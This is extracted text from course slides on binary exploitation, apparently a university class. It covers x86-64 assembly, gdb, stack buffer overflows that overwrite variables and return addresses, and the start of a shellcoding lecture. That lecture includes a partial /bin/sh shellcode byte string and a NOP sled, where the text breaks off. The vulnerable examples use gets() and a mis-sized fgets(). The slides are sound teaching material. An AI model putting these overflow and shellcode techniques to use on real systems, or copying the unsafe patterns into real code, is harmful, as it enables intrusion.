[Sep 2021] Modern Binary Exploitation

You might also like

Download as pdf or txt
Download as pdf or txt
You are on page 1of 676

Reverse Engineering

Have you tried reversing it?

09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 1
Syllabus
https://www.cs.rpi.edu/~milanova/csci4967/index.
html

09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 2
WarGames
★ If you haven’t signed up yet, please do

09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 3
Submitty Forum
★ Discussion forum
○ Sometimes I post announcements there
○ Ask questions
○ Get extra help too
Note: Everyone should have access to Submitty
now. Let me know if you lose access again

09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 4
Announcements and Reminders
• No office hours today

• No class next Tuesday, our next class is on Friday

• Friday class is a lab: work on Ch. 2 WarGames


– Level 1 problem due

09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 5
Outline
1. WarGames: a brief demo
2. x86-64, again
3. Disassembly and Control Flow Graph (CFG)
4. Debugging
5. Storage, again
6. Let’s play in the sandbox!

09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 6
WarGames

09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 7
Outline
1. WarGames: a brief demo
2. x86-64, again
3. Disassembly and Control Flow Graph (CFG)
4. Debugging
5. Storage, again
6. Let’s play in the sandbox!

09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 8
Bits and Stuff
Processors speak binary
11111001110111
10101101101001
#include <stdio.h> 01000011001011
01111111100111
int main() { 00000101011111
printf("Hello world\n"); 11100110111101
} 01000001101000

Compiler
Hello world
( gcc, clang )

09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 9
x86-64(!) Crash Course
Instructions: op dst, src
mov rax, 0x11 <-> (rax=0x11) <-> 48 c7 c0 11 00 00 00
add rbx, 0x11 <-> (rbx+=0x11) <-> 48 83 c3 11
sub rcx, rdx <-> (rcx-=rdx) <-> 48 01 d1
xor rcx, 0x12 <-> (rcx^=0x12) <-> 48 83 f1 12

You can mess around on defuse.ca/online-x86-assembler.htm

09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 10
x86 Crash Course
Can operate on specific part of register
bits x86 mnemonic C type

long
64 QWORD
rax long

eax 32 DWORD int

ax
16 WORD short
same for rbx, rcx, rdx
ah al
8 BYTE char

09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 11
Memory
Read: mov rax, QWORD PTR [rbx] (rax=*rbx)

Write: mov QWORD PTR [rbx], rax (*rbx=rax)

Read/write different widths:


mov BYTE PTR [rbx], al (*rbx=al)

09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 12
Special Registers
There are some registers used for important things
RIP - Instruction Pointer
RFLAGS - flags used for conditional operations
RSP - Stack Pointer
RBP - Base Pointer

09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 13
Conditional Jumps
• cmp destination, source
• jz LOC
• Jump to LOC if ZF = 1 (zero flag)
• jnz LOC
• Jump to LOC if ZF = 0
• jg LOC
• Jump to LOC if the result of a comparison cmp dest, src (the
comparison must come before jg) is dest > src

09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 14
Let’s look a little closer at cmp
• What exactly does the cmp instruction do?
• How does the CPU know how to use the results
of the cmp instruction to make a jump decision?

09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 15
Do some math, ignore results
• cmp internally does a sub
• The sub sets RFLAGS based on that sub
• However, the result is thrown away so no other
registers get updated

09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 16
Very quick reminder...
The ret2.sys platform uses Intel assembly syntax.
However, gcc uses AT&T assembly syntax.
Most notably, src and dst are reversed in AT&T syntax
AT&T:
opcode src, dst
Intel:
opcode dst, src
Both implicitly use dst as a destination AND as an operand

09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 17
Quick example
• movq $4, %rax
• movq $4, %rbx
• cmpq %rbx, %rax
– Internally does sub %rbx, %rax
– Sets RFLAGS (ZF, importantly for us in this case)
– Throws away the result of the sub
• jz LOC

09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 18
Stack Frames
- RBP and RSP define a stack frame for the currently executing
note: for 64bit, each
function 'slot' is 8 bytes
– local variables
– pointer to previous frame
– return address

<- local var


RSP -> 0x1337
<- local var
"ABCDEFGH
void foo() {
0123456\0"
long long x = 0x1337;
char str[16]; <- previous rbp
strcpy(str, "ABCDEFGH0123456"); RBP -> 0x7fff10203040
} <- return
0x400134 address

09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 19
Stack Frames Can Be Tricky...
• Stack grows down, heap grows up
• rbp = base pointer
– Easy way to remember: rbp = bottom of stack frame
• rsp = stack pointer
– Top of stack

09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 20
Another C Example
int main(int argc, char *argv[])
{
int a, b, c, d;

a = 16;
b = 32;
c = 64;
d = 128;

return 0;
}
09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 21
Might Become in Assembly...
main:
pushq %rbp
movq %rsp, %rbp
subq $48, %rsp

movl $16, -4(%rbp)
movl $32, -8(%rbp)
movl $64, -12(%rbp)
movl $128, -16(%rbp)
09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 22
Which as an object might look...

movl $0x10, 0xfffffffffffffffc(%rbp)
movl $0x20, 0xfffffffffffffff8(%rbp)
movl $0x40, 0xfffffffffffffff4(%rbp)
movl $0x80, 0xfffffffffffffff0(%rbp)

09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 23
Confused yet?
• x86/x64 is the worst assembly of all time, ever
• It takes a while to fully grok
• We’ll spend a good bit of time reading assembly
as it’s all practice
• We’ll spend a good bit of time reading C as well
• … examining memory and registers too, so stack
management and stack layout is super important
too!

09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 24
Outline
1. WarGames: a brief demo
2. x86-64, again
3. Disassembly and Control Flow Graph (CFG)
4. Debugging
5. Storage, again
6. Let’s play in the sandbox!

09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 25
Disassembly and CFGs

09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 26
CFG

09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 27
WarGames

09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 28
Outline
1. WarGames: a brief demo
2. x86-64, again
3. Disassembly and Control Flow Graph (CFG)
4. Debugging
5. Storage, again
6. Let’s play in the sandbox!

09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 29
Dynamic vs. Static Analysis
• Static:
– Look at a binary and figure out what it’s doing
– Opening it in Ida, Binary ninja, and examining the
disassembly on WarGames
• Dynamic:
– Trying to figure out what is happening while running it
– Using gdb, or the WarGames basically gdb

09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 30
Pictures are cool

Binary
File Process, t=0 Process, t=1 Process, t=2

Load Step Step

09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 31
Static
• You need all the stuff we just recapped to be
able to look at the assembly and figure out what
it is doing
• Essentially, you are reading the program binary
while it is just sitting on your hard drive
– It’s not running, so it’s not doing anything

09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 32
Dynamic
• Watching the binary do its work in real-time and
keeping track of registers, variables, etc.
• Tools like gdb are very good for this
– There is a gdb-like debugger called wdb on the ret2.sys
platform

09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 33
gdb - GNU Debugger
Basic usage
• gdb ./binary
• (r)un
• (b)reakpoint [address | symbol]
• (c)ontinue
• (ni) step over
• (si) step into
• (disas)semble [address | symbol]
• (bt) backtrace

09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 34
gdb - Examining memory
x/FUN [address]
- F = format
- U = unit
- N = number

x/4wx 0xdeadbeef -- 4 words in hex


x/16bx 0xdeadbeef -- 16 bytes in hex
x/s 0xdeadbeef -- null terminated string

09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 35
WarGames
SUPER IMPORTANT!!!

09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 36
Outline
1. WarGames: a brief demo
2. x86-64, again
3. Disassembly and Control Flow Graph (CFG)
4. Debugging
5. Storage, again
6. Let’s play in the sandbox!

09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 37
Background
• What happens when you do
goldschmidt $ ./opsyshw1
• It will fork() and call execve(‘./opsyshw1’, args, env)
• The kernel will create the necessary context for the new
process (address space, kernel structures, threads, etc.)
• We really only care about how it sets up the address space
for now

09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 38
Background
0x000000
Runtime Memory
• Starts off like this
<binary>

<heap>

<stack>

<kernel>
09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 39
Background
• The first code that will be
0x000000
Runtime Memory
executed in userspace is the
dynamic loader <binary>
• The dynamic loader will load any
shared libraries into the process <heap>
ld-linux.so

<shared libraries>

<stack>

<kernel>
09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 40
Background
• After shared libraries have been
0x000000
Runtime Memory
loaded, execution will continue
from the _start symbol in the binary <binary>
• The role of _start is to call
the __libc_start_main function <heap>

<shared libraries>

<stack>

<kernel>
09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 41
PLT, GOT
• How does binary know where functions like printf,
_libc_start_main, and so on are
• So when you call a function the compiler generates a call
instruction into a stub in the PLT section of the binary instead of
directly calling into the library
08048310 <__libc_start_main@plt>:
8048310: jmp *0x804a014
8048316: push $0x10
804831b: jmp 0x80482e0

09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 42
PLT
• This stub is in the plt - Procedure Linkage Table
– This checks if the function address has been resolved yet
– If not it resolves it and stores it in the GOT

09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 43
GOT
• Stands for Global Offset Table
• Stores resolved addresses

09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 44
Background
__libc_start_main()
• args: address of main, argv, init, fini, rtld_fini, and the stack
• calls various initialization related functions
• sets up the constructor and destructor for the program
• ends with something like:
result = main(argc, argv, envp);
exit(result);

09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 45
Misc Stuff
• x64 stores things as little endian (if you even
remember comp org)
– the least significant byte first

• If you have the hex 0x00010203 it will be stored


as 03020100

09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 46
Let’s play in the sandbox
We did the first couple of “lecture” tutorial
together, Crackme is on you to figure out!

I realize that this will take some of you less time


than others. Those of you who are fast can debrief
with me.

Take at least half an hour before complaining...


09/03/2019
09/03/2021
RPISEC - 1/30/2019 MBE - Reverse Engineering 47
Lecture Selanjutnya
Memory Corruption

Finally the good stuff

09/14/2021
RPISEC - 02/6/2019 MemoryCorruption
Memory Corruption 1
Outline
1. Stack frames, again
2. Linux x86-64 calling conventions
3. Stack smashing 101: buffer overflows
4. Stack smashing 201: return address override
5. Let’s play in the sandbox!

6. Discuss Chapter 1 solutions?

09/14/2021
RPISEC - 1/23/2019 Memory Corruption
MBE - Overview 2
What does a computer do?
Computers act on memory
– Code and data are just bytes in memory

Computers are really dumb (possibly more so than humans)

– Do whatever they are told by what's in memory


– whether it's "supposed" to be there or not...

09/14/2021
RPISEC - 02/6/2019 Memory Corruption 3
Stack Frames, Again
- RBP and RSP define a stack frame for the currently executing
note: for 64bit, each
function
'slot' is 8 bytes
– local variables
– pointer to previous frame
– return address

RSP -> 0x1337 <- local var

"ABCDEFGH <- local var


void foo() {
0123456\0"
long long x = 0x1337;
char str[16]; <- caller
strcpy(str, "ABCDEFGH0123456"); RBP -> 0x7fff10203040
frame RBP
}
0x400134
<- return
address
09/14/2021
RPISEC - 1/23/2019 Memory Corruption
MBE - Overview 4
Frame Exercise

09/14/2021
RPISEC - 02/6/2019 MemoryCorruption
Memory Corruption 5
x64 Calling Convention
- Fastest way to pass arguments from caller
function to callee function, is in registers
- x86_64 arguments:
- 1st arg : rdi
- 2nd : rsi
- 3rd : rdx
- then rcx, r8, r9, pushed on stack
- Return value in rax

09/14/2021
RPISEC - 1/23/2019 Memory Corruption
MBE - Overview 6
Telephone Exercise

09/14/2021
RPISEC - 02/6/2019 MemoryCorruption
Memory Corruption 7
Outline
1. Stack frames, again
2. Linux x86-64 calling conventions
3. Stack smashing 101: buffer overflows
4. Stack smashing 201: return address override
5. Let’s play in the sandbox!

6. Discuss Chapter 1 solutions?

09/14/2021
RPISEC - 1/23/2019 Memory Corruption
MBE - Overview 8
What is corruption?
• So what happens if a programer makes a simple
mistake:

char foo[64];
long long money = 0;
gets(foo);

09/14/2021
RPISEC - 02/6/2019 Memory Corruption 9
gets()?

– DO NOT EVER USE


∘ scanf("%s", ...) as well
• So what happens if we give this program a bunch of A’s

09/14/2021
RPISEC - 02/6/2019 Memory Corruption 10
Stack Smashing 101
Lower Memory - Start of
main() has a char foo[64]
-
stack frame
-

- Contains local variables -

- Pointer to previous frame -

-
- Return address
-

- End of foo

0x00 money = 0
Not supposed
0x7fff01020304 Base pointer
to touch
Higher Memory 0x40051f RETURN ADDRESS

09/14/2021
RPISEC - 02/6/2019 Memory Corruption 11
Stack Smashing 101
Lower Memory
As gets() continues to 0x4141414141414141 Start of
char foo[64]
read input, we fill up 0x4141414141414141

the 64 bytes allocated 0x4141414141414141

for foo 0x4141414141414141

0x4141414141414141

0x4141414141414141

0x4141414141414141

0x4141414141414100 End of foo

0x00 money = 0
Not supposed
0x7fff01020304 Base pointer
to touch
Higher Memory 0x40051f RETURN ADDRESS

09/14/2021
RPISEC - 02/6/2019 Memory Corruption 12
Stack Smashing 101
Lower Memory
As gets() continues to 0x4141414141414141 Start of
char foo[64]
read input, we fill up 0x4141414141414141

the 64 bytes allocated 0x4141414141414141

for foo 0x4141414141414141

0x4141414141414141
go far enough, it 0x4141414141414141
corrupts important
0x4141414141414141
data
0x4141414141414141 End of foo

0x41 money = ...


Not supposed
0x7fff01020304 Base pointer
to touch
Higher Memory 0x40051f RETURN ADDRESS

09/14/2021
RPISEC - 02/6/2019 Memory Corruption 13
Stack Smashing 101
• We can give ourselves money
• If we want to set money to 0x1337beef we need to
know:
– Most x86 machines are little endian (little byte goes first)
– Meaning the byte order for numbers is "backwards" in memory
– 0x01020304 would be

0x04 0x03 0x02 0x01

09/14/2021
RPISEC - 02/6/2019 Memory Corruption 14
p64(n) and u64(s) in Python
# Pack integer 'n' into a 8-Byte representation
def p64(n): ...

• E.g., we need to send a byte sequence to fgets/gets that


overrides an integer value
• We know what the integer value is: 0x1337beef
p.sendline(‘\xEF\xBE\x37\x13\x00\x00\x00\x00’) or
p.sendline(p64(0x1337beef))

09/14/2021
RPISEC - 02/6/2019 Memory Corruption 15
p64(n) and u64(s) in Python
# Pack integer 'n' into a 8-Byte representation
def p64(n): ...

• E.g., we need to send a byte sequence to fgets/gets that


overrides a return address (more later)
• We know what the address is: 0x4009E0
p.sendline(‘\xE0\x09\x40\x00\x00\x00\x00\x00’) or
p.sendline(p64(0x4009E0))

09/14/2021
RPISEC - 02/6/2019 Memory Corruption 16
p64(n) and u64(s) in Python
# Unpack 8-Byte-long string 's' into a Python integer
def u64(s): ...
• E.g., we need to send a decimal input
• We know what the expected byte sequence is: e.g.,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41 or
AAAAAAAA
We can convert ourselves, then
p.sendline(4702111234474983745) or
p.sendline(u64(‘AAAAAAAA’))
09/14/2021
RPISEC - 02/6/2019 Memory Corruption 17
p64(n) and u64(s) in Python
# Unpack 8-Byte-long string 's' into a Python integer
def u64(s): …

• E.g., we need to send a hex input


• We know what the expected byte sequence is: e.g.,
0x01, 0x02, 0x03, 0x04, 0x00, 0x00, 0x00, 0x00
We can reverse ourselves or we can use u64:
p.sendline(u64(‘\x01\x02\x03\x04\x00\x00\x00\x00’))

09/14/2021
RPISEC - 02/6/2019 Memory Corruption 18
Corruption Exercise

09/14/2021
RPISEC - 02/6/2019 MemoryCorruption
Memory Corruption 19
Stack Smashing 201
• What else can we corrupt?

• What happens if you corrupt further? When does it


segfault?
- What was that about a return address?

09/14/2021
RPISEC - 02/6/2019 Memory Corruption 20
Stack Smashing 201
int func() {
puts("Hello World");
return 17;
}
int main() {
int res = func();
return 0;
}

When func() is called, runtime stores the return address


on the stack (i.e., the address of the instruction that
immediately follows call func in main)

09/14/2021
RPISEC - 02/6/2019 Memory Corruption 21
Stack Smashing 201
Before the call:

09/14/2021
RPISEC - 02/6/2019 Memory Corruption 22
Stack Smashing 201
Before the call: After the call:

Return address points back


to where it left off in main

09/14/2021
RPISEC - 02/6/2019 Memory Corruption 23
Stack Smashing 201
Returning just takes whatever is on the top of the stack,
and jumps there, equivalently: pop rip

About to return:

09/14/2021
RPISEC - 02/6/2019 Memory Corruption 24
Stack Smashing 201
Returning just takes whatever is on the top of the stack,
and jumps there, equivalently: pop rip

About to return: Returned back to main:

09/14/2021
RPISEC - 02/6/2019 Memory Corruption 25
Stack Smashing 201
Returning just takes whatever is on the top of the stack,
and jumps there, equivalently: pop rip

What
About to return:if we change Returned
this???back to main:

?!?!?!?
09/14/2021
RPISEC - 02/6/2019 Memory Corruption 26
Stack Smashing 201
Lower Memory 0x4141414141414141 Start of
Without corruption: char foo[64]
0x4141414141414141
– At the end of the function, it
0x4141414141414141
returns
– 0x40051f is popped off the 0x4141414141414141

stack and stored in rip 0x4141414141414141


– Control goes to that address
0x4141414141414141
We want to change this 0x4141414141414141

0x4141414141414141 End of foo

0x00 money = 0

0x7fff01020304 Base pointer

Higher Memory 0x40051f RETURN ADDRESS

09/14/2021
RPISEC - 02/6/2019 Memory Corruption 27
Stack Smashing 201
Lower Memory 0x4141414141414141 Start of
Corrupted: char foo[64]
0x4141414141414141
– At the end of the function, it
0x4141414141414141
returns
– 0x4141414141414141 is 0x4141414141414141

popped off the stack and 0x4141414141414141


stored in rip
0x4141414141414141
– Control goes to that address
– but it's invalid memory... 0x4141414141414141

Segmentation fault 0x4141414141414141 End of foo

0x4141414141414141 money = ...

0x4141414141414141 Base pointer

Higher Memory 0x4141414141414141 RETURN ADDRESS

09/14/2021
RPISEC - 02/6/2019 Memory Corruption 28
Return Exercise

09/14/2021
RPISEC - 02/6/2019 MemoryCorruption
Memory Corruption 29
Next Week
Next week:
• Shellcoding

Next class:
• Ch 3 Level 1 due
• Finish up Ch 3 Level 1, continue work on Levels 2-3

09/14/2021
RPISEC - 02/6/2019 Memory Corruption 30
a31729989z

gdb - GNU Debugger


Basic usage
• gdb ./binary
• (r)un
• (b)reakpoint [address | symbol]
• (c)ontinue
• (ni) step over
• (si) step into
• (disas)semble [address | symbol]
• (bt) backtrace

09/14/2021
RPISEC - 1/30/2019 Memory
MBE Corruption
- Reverse Engineering 31
a31729989z

gdb - Examining memory


x/NFU [address]
- F = format
- U = unit
- N = number

x/4wx 0xdeadbeef -- 4 words in hex


x/16bx 0xdeadbeef -- 16 bytes in hex
x/s 0xdeadbeef -- null terminated string

09/14/2021
RPISEC - 1/30/2019 Memory
MBE Corruption
- Reverse Engineering 32
Outline
1. Stack frames, again
2. Linux x86-64 calling conventions
3. Stack smashing 101: buffer overflows
4. Stack smashing 201: return address override
5. Let’s play in the sandbox!

6. Discuss Chapter 1 solutions?

09/14/2021
RPISEC - 1/23/2019 Memory Corruption
MBE - Overview 33
Lecture Selanjutnya
Shellcoding
(Next Week: Stack Cookies)

09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 1
Announcements
• Ch. 2 grades are on Submitty
• Oct. 26 is a catch-up lab, if you run out of time
– Still, make sure that you complete at least Levels 1 and 2

• Nate Bennett has joined MBE as a Mentor


– Mondays 5pm - 7pm https://rensselaer.webex.com/meet/bennen2
– Fridays lab 12pm - 2pm

09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 2
Outline
1. Recap
2. Injecting code
3. System calls and execve
4. Injecting code under constraints
a. Size constraints
b. Null bytes
c. Splitting

09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 3
Recap

09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 4
Compilation
#include <stdio>
int main() {

• This is high level printf("Hello World!\n");


return 0;
Source Code
}
code

09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 5
Compilation
Source Code
push rbp
mov rsp, rbp
lea 0x9f(rip), rdi
call puts@plt
mov
pop
0x0, eax
rbp
Assembly
ret

09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 6
Compilation
• Code is data! Source Code

Assembly
55
48 89 e5
48 8d 3d 9f 00 00 00
e8 c6 fe ff ff
b8
5d
00 00 00 00
Machine Code
c3
66 2e 0f 1f 84 00 00
0f 1f 44 00 00

09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 7
Runtime Memory

Memory Segments .text

.rodata
• Program Code in .data
– .text
– libraries [heap]

libraries
(libc…)

[stack]
09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 8
Runtime Memory

Memory Segments .text

.rodata
• Program Code .data
– .text
– libraries [heap]

• User Data
– stack
– heap libraries
(libc…)

[stack]
09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 9
Overflows 101
// generate a secure, one time
password for the admin
char admin_password[64] = {};
generate_otp(admin_password,
sizeof(admin_password)
);

// prompt the user for their


password
char user_password[32] = {};
printf("Enter password: "); admin_password 64 bytes
fgets(user_password,
strlen(admin_password),
stdin
);

09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 10
Overflows 101
// generate a secure, one time
password for the admin
char admin_password[64] = {};
generate_otp(admin_password,
sizeof(admin_password)
);

// prompt the user for their


password
char user_password[32] = {};
printf("Enter password: "); admin_password 64 bytes
fgets(user_password,
strlen(admin_password),
stdin
);

09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 11
Overflows 101
// generate a secure, one time
password for the admin
char admin_password[64] = {};
generate_otp(admin_password,
user_password 32 bytes
sizeof(admin_password)
);

// prompt the user for their


password
char user_password[32] = {};
printf("Enter password: "); admin_password 64 bytes
fgets(user_password,
strlen(admin_password),
stdin
);

09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 12
Overflows 101
// generate a secure, one time
password for the admin
char admin_password[64] = {};
generate_otp(admin_password,
Us
er
user_password 32 bytes
sizeof(admin_password) Co
); nt
ro
// prompt the user for their
ll
ed
password
char user_password[32] = {};
printf("Enter password: "); admin_password 64 bytes
fgets(user_password,
strlen(admin_password),
stdin
);

09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 13
Shellcoding
Code Injection 101

09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 14
Win Functions

09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 15
What if There’s No Win Function

09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 16
Shellcoding
Shellcode: A small piece of (machine)
code used as the payload in the
exploitation of a software vulnerability

09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 17
------------------------------------------------------------ Runtime Memory
--[ Lecture 3 - Memory Corruption
------------------------------------------------------------
Enter data: .text
>> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
.rodata
.data

[heap]

libraries
(libc…)
p.sendline(“AAAAA...")
AAAAAAAAAAA
[stack]
09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 18
------------------------------------------------------------ Runtime Memory
--[ Lecture 3 - Memory Corruption
------------------------------------------------------------
Enter data: .text
>> \x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x56\x53...
.rodata
.data

[heap]

libraries
(libc…)
p.sendline(“\x31...")
\x31\xf6...
[stack]
09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 19
Writing Shellcode
• Any valid C can be rewritten in shellcode
• Payloads typically need to be tweaked to make them
– More space efficient
– Avoid null bytes
– Avoid other constraints
• Machine code can be generated with online assemblers

09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 20
Size Constraints
mov rdi, rax (\x48\x89\xC7)
becomes
push rax
pop rdi (\x50\x5f)

09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 21
NOP Slides (nop = \x90)
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
